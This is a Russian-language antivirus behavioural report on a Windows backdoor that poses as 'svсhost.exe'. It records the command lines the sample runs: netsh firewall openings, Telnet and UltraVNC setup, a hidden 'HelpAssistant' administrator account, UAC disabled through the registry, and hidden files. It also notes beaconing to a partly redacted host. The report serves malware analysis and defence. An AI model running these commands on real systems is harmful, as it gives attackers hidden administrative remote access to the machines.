Техническая информация
Для обеспечения автозапуска и распространения:
Модифицирует следующие ключи реестра:
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run] 'Service Host Controller' = '%WINDIR%\SysWOW64\svсhost.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run] 'Операционная система Microsoft Windows' = 'svсhost'
Создает или изменяет следующие файлы:
- %WINDIR%\Tasks\security.job
Создает следующие сервисы:
- [<HKLM>\SYSTEM\ControlSet001\Services\Service Host Controller] 'Start' = '00000002'
- [<HKLM>\SYSTEM\ControlSet001\Services\TlntSvr] 'Start' = '00000002'
Вредоносные функции:
Для обхода брандмауэра удаляет или модифицирует следующие ключи реестра:
- [<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List] '<SYSTEM32>\tlntsvr.exe' = '<SYSTEM32>\tlntsvr.exe:*:Enabled:Telnet'
- [<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List] '<SYSTEM32>\svсhost.exe' = '<SYSTEM32>\svсhost.exe:*:Enabled:Хост-процесс для задач Windows'
Для затруднения выявления своего присутствия в системе
блокирует:
- Средство контроля пользовательских учетных записей (UAC)
Создает и запускает на исполнение:
- '<SYSTEM32>\svсhost.exe'
- '%TEMP%\2.tmp\realip.exe'
- '<SYSTEM32>\srvany.exe'
- '%TEMP%\1.tmp\instsrv.exe' "Service Host Controller" <SYSTEM32>\srvany.exe
- '%TEMP%\1.tmp\instsrv.exe' "Service Host Controller" %WINDIR%\SysWOW64\srvany.exe
- '%WINDIR%\ip.exe'
Запускает на исполнение:
- '<SYSTEM32>\netsh.exe' firewall add allowedprogram "<SYSTEM32>\svсhost.exe" "Хост-процесс для задач Windows" ENABLE ALL
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="Хост-процесс для служб Windows" dir=in program="%WINDIR%\SysWOW64\svсhost.exe" security=notrequired action=allow
- '<SYSTEM32>\netsh.exe' firewall add portopening tcp 57009 "HTTP Port 80"
- '<SYSTEM32>\netsh.exe' firewall add allowedprogram "<SYSTEM32>\tlntsvr.exe" "Telnet" ENABLE
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="Хост-процесс для служб Windows" dir=in program="<SYSTEM32>\svсhost.exe" security=notrequired action=allow
- '<SYSTEM32>\net1.exe' user HelpAssistant admin
- '<SYSTEM32>\net1.exe' user HelpAssistant /active:yes /comment:"Учетная запись для предоставления помощи" /passwordchg:yes
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="Microsoft Outlook Express" dir=in program="%WINDIR%\blat.exe" security=notrequired action=allow
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="RealIP" dir=in program="%WINDIR%\realip.exe" security=notrequired action=allow
- '<SYSTEM32>\tlntadmn.exe' config sec=-ntlm +passwd port=23
- '<SYSTEM32>\net1.exe' start "Service Host Controller"
- '<SYSTEM32>\ipconfig.exe' /all
- '<SYSTEM32>\schtasks.exe' /create /tn security /sc onlogon /ru "NT AUTHORITY\SYSTEM" /tr %WINDIR%/ip.exe
- '<SYSTEM32>\net1.exe' start Schedule
- '<SYSTEM32>\regsvr32.exe' /s <SYSTEM32>\tlntsvrp.dll
- '<SYSTEM32>\net1.exe' start Telnet
- '<SYSTEM32>\sc.exe' config tlntsvr start= auto
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\2.tmp\ip.bat" "
- '<SYSTEM32>\tlntsvr.exe'
- '<SYSTEM32>\net1.exe' localgroup Администраторы HelpAssistant /add
- '<SYSTEM32>\attrib.exe' +s +h +r "%WINDIR%/SysWOW64/ultravnc.ini"
- '<SYSTEM32>\attrib.exe' +s +h +r "%WINDIR%/System32/ultravnc.ini"
- '<SYSTEM32>\attrib.exe' +s +h +r "%WINDIR%/System32/instsrv.exe"
- '<SYSTEM32>\attrib.exe' +s +h +r "%WINDIR%/System32/vnchooks.dll"
- '<SYSTEM32>\attrib.exe' +s +h +r "%WINDIR%/SysWOW64/svсhost.exe"
- '<SYSTEM32>\chcp.com' 1251
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\1.tmp\install.cmd" <Текущая директория>\"
- '<SYSTEM32>\attrib.exe' +s +h +r "%WINDIR%/System32/svсhost.exe"
- '<SYSTEM32>\attrib.exe' +s +h +r "%WINDIR%/ip.exe"
- '<SYSTEM32>\attrib.exe' +s +h +r "%WINDIR%/System32/srvany.exe"
- '<SYSTEM32>\reg.exe' add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v "Service Host Controller" /t REG_SZ /d %WINDIR%\SysWOW64\svсhost.exe /f
- '<SYSTEM32>\reg.exe' add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v "Операционная система Microsoft Windows" /t REG_SZ /d svсhost /f
- '<SYSTEM32>\net1.exe' user HelpAssistant admin /add
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v HelpAssistant /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
- '<SYSTEM32>\attrib.exe' +s +h +r "%WINDIR%/SysWOW64/srvany.exe"
- '<SYSTEM32>\attrib.exe' +s +h +r "%WINDIR%/SysWOW64/instsrv.exe"
- '<SYSTEM32>\reg.exe' export HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System %WINDIR%/SysWOW64\uac.reg /y
- '<SYSTEM32>\reg.exe' export HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System %WINDIR%/System32\uac.reg /y
Изменения в файловой системе:
Создает следующие файлы:
- <SYSTEM32>\vnchooks.dll
- <SYSTEM32>\instsrv.exe
- <SYSTEM32>\srvany.exe
- %WINDIR%\ip.exe
- <SYSTEM32>\svсhost.exe
- <SYSTEM32>\ultravnc.ini
- %TEMP%\2.tmp\blat.lib
- %TEMP%\2.tmp\realip.exe
- %TEMP%\2.tmp\localip.txt
- %TEMP%\2.tmp\ip.bat
- %TEMP%\2.tmp\blat.dll
- %TEMP%\2.tmp\blat.exe
- %TEMP%\1.tmp\vnchooks.dll
- %TEMP%\1.tmp\blat.dll
- %TEMP%\1.tmp\blat.exe
- %TEMP%\1.tmp\install.cmd
- %TEMP%\1.tmp\svсhost.exe
- %TEMP%\1.tmp\ultravnc.ini
- %TEMP%\1.tmp\realip.exe
- %TEMP%\1.tmp\srvany.exe
- %TEMP%\1.tmp\start.js
- %TEMP%\1.tmp\blat.lib
- %TEMP%\1.tmp\instsrv.exe
- %TEMP%\1.tmp\ip.exe
Присваивает атрибут 'скрытый' для следующих файлов:
- <SYSTEM32>\vnchooks.dll
- <SYSTEM32>\instsrv.exe
- <SYSTEM32>\srvany.exe
- %WINDIR%\ip.exe
- <SYSTEM32>\svсhost.exe
- <SYSTEM32>\ultravnc.ini
Удаляет следующие файлы:
- %TEMP%\1.tmp\blat.dll
- %TEMP%\1.tmp\install.cmd
- %TEMP%\1.tmp\start.js
- %TEMP%\1.tmp\realip.exe
- %TEMP%\1.tmp\blat.lib
- %TEMP%\1.tmp\blat.exe
- %TEMP%\1.tmp\srvany.exe
- %TEMP%\1.tmp\ip.exe
- %TEMP%\1.tmp\instsrv.exe
- %TEMP%\1.tmp\vnchooks.dll
- %TEMP%\1.tmp\ultravnc.ini
- %TEMP%\1.tmp\svсhost.exe
Сетевая активность:
Подключается к:
- 'www.la###search.com':80
- 'localhost':5900
TCP:
Запросы HTTP GET:
- www.la###search.com/getip.php?la######
UDP:
- DNS ASK www.la###search.com
Другое:
Ищет следующие окна:
- ClassName: 'Shell_TrayWnd' WindowName: '(null)'
